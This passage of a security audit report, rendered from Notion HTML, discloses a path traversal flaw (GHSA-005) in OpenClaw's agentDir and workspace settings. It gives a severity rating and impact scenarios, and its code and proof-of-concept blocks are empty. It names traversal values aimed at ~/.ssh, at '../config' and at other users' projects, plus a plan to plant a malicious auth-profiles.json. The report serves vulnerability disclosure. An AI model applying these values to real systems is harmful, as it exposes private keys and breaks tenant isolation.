class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c80c1bacac03db15fdaae" title="Credit"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Credit</span></span></h4><div class="notion-text notion-block-3230f0c5b87c80b183f1ee0b24e719da">Discovered by: Security Audit Team
Reported: 2026-03-10</div><hr class="notion-hr notion-block-3230f0c5b87c8075bc0bfb6e9df5af24"/><h3 class="notion-h notion-h2 notion-h-indent-0 notion-block-3230f0c5b87c80db91b7cbd8ecd6cc0a" data-id="3230f0c5b87c80db91b7cbd8ecd6cc0a"><span><div id="3230f0c5b87c80db91b7cbd8ecd6cc0a" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c80db91b7cbd8ecd6cc0a" title="GHSA-005: Path Traversal via Unconstrained agentDir Configuration"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">GHSA-005: Path Traversal via Unconstrained agentDir Configuration</span></span></h3><div class="notion-blank notion-block-3230f0c5b87c80308294e223f26498d3"> </div><blockquote class="notion-quote notion-block-3230f0c5b87c801cbec6ca609e4f2a1b"><div><b>严重级别</b>: Medium  |  <b>类型</b>: 路径遍历  |  <b>状态</b>: 已验证</div></blockquote><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c8031a57cffe7d36a7d5f" data-id="3230f0c5b87c8031a57cffe7d36a7d5f"><span><div id="3230f0c5b87c8031a57cffe7d36a7d5f" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c8031a57cffe7d36a7d5f" title="Summary"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Summary</span></span></h4><div class="notion-text notion-block-3230f0c5b87c80268749f813a0a03928">OpenClaw’s agent configuration system allows arbitrary path traversal through the <code class="notion-inline-code">agentDir</code> and <code class="notion-inline-code">workspace</code> configuration fields. Attackers with <code class="notion-inline-code">operator.admin</code> scope can specify paths containing <code class="notion-inline-code">../</code> sequences or absolute paths, causing agent state files to be read from or written to arbitrary filesystem locations outside the intended state directory boundary.</div><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c80d18cf1c130296378b5" data-id="3230f0c5b87c80d18cf1c130296378b5"><span><div id="3230f0c5b87c80d18cf1c130296378b5" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c80d18cf1c130296378b5" title="Severity"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Severity</span></span></h4><div class="notion-text notion-block-3230f0c5b87c80ed8fd7f5580f61ac32"><b>Medium</b> - CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:N (Base Score: 6.5)</div><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c80ba9e93faf5be179916" data-id="3230f0c5b87c80ba9e93faf5be179916"><span><div id="3230f0c5b87c80ba9e93faf5be179916" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c80ba9e93faf5be179916" title="Affected Versions"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Affected Versions</span></span></h4><ul class="notion-list notion-list-disc notion-block-3230f0c5b87c801795fcd988c131548d"><li>All versions</li></ul><ul class="notion-list notion-list-disc notion-block-3230f0c5b87c80bc9ee9ca03cb3114b5"><li>Affects: <code class="notion-inline-code">src/agents/agent-scope.ts</code>, <code class="notion-inline-code">src/utils.ts</code>, <code class="notion-inline-code">src/config/zod-schema.agent-runtime.ts</code></li></ul><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c80ba8f19c768529c70f5" data-id="3230f0c5b87c80ba8f19c768529c70f5"><span><div id="3230f0c5b87c80ba8f19c768529c70f5" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c80ba8f19c768529c70f5" title="Vulnerability Details"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Vulnerability Details</span></span></h4><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c80528b10e3415bff80f5" data-id="3230f0c5b87c80528b10e3415bff80f5"><span><div id="3230f0c5b87c80528b10e3415bff80f5" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c80528b10e3415bff80f5" title="Root Cause"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Root Cause</span></span></h4><div class="notion-text notion-block-3230f0c5b87c80309842fa05bce1b637">The <code class="notion-inline-code">resolveAgentDir()</code> and <code class="notion-inline-code">resolveAgentWorkspaceDir()</code> functions accept user-controlled path strings and resolve them using <code class="notion-inline-code">path.resolve()</code> <b>without boundary validation</b>:</div><div class="notion-text notion-block-3230f0c5b87c80029fdfd63d462584ca"><b>Vulnerable Code</b> (<code class="notion-inline-code">src/agents/agent-scope.ts:330-338</code>):</div><div class="notion-text notion-block-3230f0c5b87c80129808d6f233ad096b"><b>Path Resolution</b> (<code class="notion-inline-code">src/utils.ts:285-302</code>):</div><div class="notion-text notion-block-3230f0c5b87c80ac9520fe4577f4c937"><b>Schema Validation</b> (<code class="notion-inline-code">src/config/zod-schema.agent-runtime.ts:720-721</code>):</div><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c80fa857cec8f7526586f" data-id="3230f0c5b87c80fa857cec8f7526586f"><span><div id="3230f0c5b87c80fa857cec8f7526586f" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c80fa857cec8f7526586f" title="Contrast with Secure Code"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Contrast with Secure Code</span></span></h4><div class="notion-text notion-block-3230f0c5b87c80c3a909ea7d09d46e4e">Avatar paths have boundary validation that <code class="notion-inline-code">agentDir</code> lacks:</div><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c8055bc21ee1c2bdb8018" data-id="3230f0c5b87c8055bc21ee1c2bdb8018"><span><div id="3230f0c5b87c8055bc21ee1c2bdb8018" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c8055bc21ee1c2bdb8018" title="Proof of Concept"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Proof of Concept</span></span></h4><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c803f85bbfece6132e143" data-id="3230f0c5b87c803f85bbfece6132e143"><span><div id="3230f0c5b87c803f85bbfece6132e143" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c803f85bbfece6132e143" title="Test 1: Parent Directory Traversal"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Test 1: Parent Directory Traversal</span></span></h4><div class="notion-text notion-block-3230f0c5b87c807db870e8347e755d61"><b>复现截图 - 父目录遍历：</b></div><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-3230f0c5b87c8075880cfa30e6947fd6"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column"><img style="object-fit:cover" src="https://raw.githubusercontent.com/cdxiaodong/notion-images/main/OpenClaw_Security_Audit_Report/ghsa005_step1_parent_traversal.png?spaceId=d5c91784-5a22-4891-81bf-25a192d4daea&amp;t=3230f0c5-b87c-8075-880c-fa30e6947fd6" alt="Test 1" loading="lazy" decoding="async"/></div></figure><div class="notion-text notion-block-3230f0c5b87c80f98f99c9672bb845c1">Test 1</div><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c80579ef9cd5be7ecb9b2" data-id="3230f0c5b87c80579ef9cd5be7ecb9b2"><span><div id="3230f0c5b87c80579ef9cd5be7ecb9b2" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c80579ef9cd5be7ecb9b2" title="Test 2: Absolute Path Override"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Test 2: Absolute Path Override</span></span></h4><div class="notion-text notion-block-3230f0c5b87c800c9444fff2fe7f066c"><b>复现截图 - 绝对路径覆盖：</b></div><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-3230f0c5b87c80168b46f604b3f1cf6f"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column"><img style="object-fit:cover" src="https://raw.githubusercontent.com/cdxiaodong/notion-images/main/OpenClaw_Security_Audit_Report/ghsa005_step2_absolute.png?spaceId=d5c91784-5a22-4891-81bf-25a192d4daea&amp;t=3230f0c5-b87c-8016-8b46-f604b3f1cf6f" alt="Test 2" loading="lazy" decoding="async"/></div></figure><div class="notion-text notion-block-3230f0c5b87c80b5acd6e5c914484138">Test 2</div><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c803aa12dfda2c8a17b27" data-id="3230f0c5b87c803aa12dfda2c8a17b27"><span><div id="3230f0c5b87c803aa12dfda2c8a17b27" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c803aa12dfda2c8a17b27" title="Test 3: SSH Directory Read"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Test 3: SSH Directory Read</span></span></h4><div class="notion-text notion-block-3230f0c5b87c80279451c45fc580c948"><b>复现截图 - SSH 目录读取：</b></div><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-3230f0c5b87c800d94dae4ebe680547c"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column"><img style="object-fit:cover" src="https://raw.githubusercontent.com/cdxiaodong/notion-images/main/OpenClaw_Security_Audit_Report/ghsa005_step3_ssh.png?spaceId=d5c91784-5a22-4891-81bf-25a192d4daea&amp;t=3230f0c5-b87c-800d-94da-e4ebe680547c" alt="Test 3" loading="lazy" decoding="async"/></div></figure><div class="notion-text notion-block-3230f0c5b87c8062bfe0f6ba027bc305">Test 3</div><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c808ab0bbd83f70a95a3a" data-id="3230f0c5b87c808ab0bbd83f70a95a3a"><span><div id="3230f0c5b87c808ab0bbd83f70a95a3a" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c808ab0bbd83f70a95a3a" title="Test 4: Workspace Traversal"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Test 4: Workspace Traversal</span></span></h4><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c803a981cc699111b0806" data-id="3230f0c5b87c803a981cc699111b0806"><span><div id="3230f0c5b87c803a981cc699111b0806" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c803a981cc699111b0806" title="Test 5: Verification Without OpenClaw"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Test 5: Verification Without OpenClaw</span></span></h4><div class="notion-text notion-block-3230f0c5b87c80ee80b9ee6aa824765e"><b>Expected Output</b> (Linux):</div><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c800eaa9fe9a0e47bce1b" data-id="3230f0c5b87c800eaa9fe9a0e47bce1b"><span><div id="3230f0c5b87c800eaa9fe9a0e47bce1b" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c800eaa9fe9a0e47bce1b" title="Impact Assessment"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Impact Assessment</span></span></h4><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c803b96f9fdf8b3af7891" data-id="3230f0c5b87c803b96f9fdf8b3af7891"><span><div id="3230f0c5b87c803b96f9fdf8b3af7891" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c803b96f9fdf8b3af7891" title="1. Write Hijacking"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">1. Write Hijacking</span></span></h4><div class="notion-text notion-block-3230f0c5b87c803f8488c231c2ce896c"><b>Scenario</b>: <code class="notion-inline-code">agentDir = &quot;/tmp/attacker-controlled&quot;</code></div><div class="notion-text notion-block-3230f0c5b87c800e9f49dc710ade6116"><b>Effect</b>:</div><div class="notion-text notion-block-3230f0c5b87c80549f73f7f8793e237a"><b>Exploitation</b>:
1. Attacker pre-plants malicious <code class="notion-inline-code">auth-profiles.json</code> at <code class="notion-inline-code">/tmp/attacker-controlled/</code>
2. Agent loads attacker’s authentication configuration
3. Agent uses attacker-specified credentials/endpoints</div><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c806380a8db27876a8b4f" data-id="3230f0c5b87c806380a8db27876a8b4f"><span><div id="3230f0c5b87c806380a8db27876a8b4f" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c806380a8db27876a8b4f" title="2. Sensitive File Disclosure"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">2. Sensitive File Disclosure</span></span></h4><div class="notion-text notion-block-3230f0c5b87c80a09929e750402a558f"><b>Scenario</b>: <code class="notion-inline-code">agentDir = &quot;~/.ssh&quot;</code></div><div class="notion-text notion-block-3230f0c5b87c809a8243d3d853ff8115"><b>Risk</b>:
- If agent state loader enumerates directory contents
- May inadvertently read <code class="notion-inline-code">id_rsa</code>, <code class="notion-inline-code">authorized_keys</code>, <code class="notion-inline-code">known_hosts</code>
- Degree of risk depends on state loading implementation</div><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c80ccb0eada914fe1b8a8" data-id="3230f0c5b87c80ccb0eada914fe1b8a8"><span><div id="3230f0c5b87c80ccb0eada914fe1b8a8" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c80ccb0eada914fe1b8a8" title="3. Cross-Agent Data Access"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">3. Cross-Agent Data Access</span></span></h4><div class="notion-text notion-block-3230f0c5b87c80de9f92e872997838da"><b>Scenario</b>: <code class="notion-inline-code">workspace = &quot;../../other-user-project&quot;</code></div><div class="notion-text notion-block-3230f0c5b87c807baa55ce51ef7bece1"><b>Effect</b>:
- Agent’s filesystem operations target <code class="notion-inline-code">other-user-project/</code>
- Can read source code, configuration files, environment variables
- Breaks multi-tenant isolation if agents belong to different users</div><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c803cbf9fd01cd3aabc49" data-id="3230f0c5b87c803cbf9fd01cd3aabc49"><span><div id="3230f0c5b87c803cbf9fd01cd3aabc49" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c803cbf9fd01cd3aabc49" title="4. Persistent Backdoor"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">4. Persistent Backdoor</span></span></h4><div class="notion-text notion-block-3230f0c5b87c80608c8dc669934d9bfe"><b>Scenario</b>: <code class="notion-inline-code">agentDir = &quot;../config&quot;</code></div><div class="notion-text notion-block-3230f0c5b87c8019bc83f9d9a42b3476"><b>Effect</b>:</div><div class="notion-text notion-block-3230f0c5b87c80d095deda7df04a80dd"><b>Exploitation</b>: Overwrite OpenClaw’s own configuration files</div><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c805ba54fe6081484c372" data-id="3230f0c5b87c805ba54fe6081484c372"><span><div id="3230f0c5b87c805ba54fe6081484c372" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c805ba54fe6081484c372" title="5. File System Confusion on Windows"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">5. File System Confusion on Windows</span></span></h4><div class="notion-text notion-block-3230f0c5b87c8064b6c1ef55ca875871"><b>Scenario</b>: <code class="notion-inline-code">agentDir = &quot;C:\\Users\\Public&quot;</code></div><div class="notion-text notion-block-3230f0c5b87c806ab89df9863d5e869e"><b>Effect</b>:
- Resolves to system-wide <code class="notion-inline-code">C:\Users\Public\</code> directory
- State files visible to all users on the system
- Potential elevation if <code class="notion-inline-code">Public</code> has weak ACLs</div><div class="notion-text notion-block-3230f0c5b87c807ab40afef0bb233a9c"><b>复现截图 - 实际文件写入验证：</b></div><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-3230f0c5b87c801484aefe566e95bf7c"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column"><img style="object-fit:cover" src="https://raw.githubusercontent.com/cdxiaodong/notion-images/main/OpenClaw_Security_Audit_Report/ghsa005_step4_file_write.png?spaceId=d5c91784-5a22-4891-81bf-25a192d4daea&amp;t=3230f0c5-b87c-8014-84ae-fe566e95bf7c" alt="Test 4" loading="lazy" decoding="async"/></div></figure><div class="notion-text notion-block-3230f0c5b87c80499b15fc012a0d3ab8">Test 4</div><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c80238279e08dfb011ef2" data-id="3230f0c5b87c80238279e08dfb011ef2"><span><div id="3230f0c5b87c80238279e08dfb011ef2" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c80238279e08dfb011ef2" title="Attack Scenarios"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 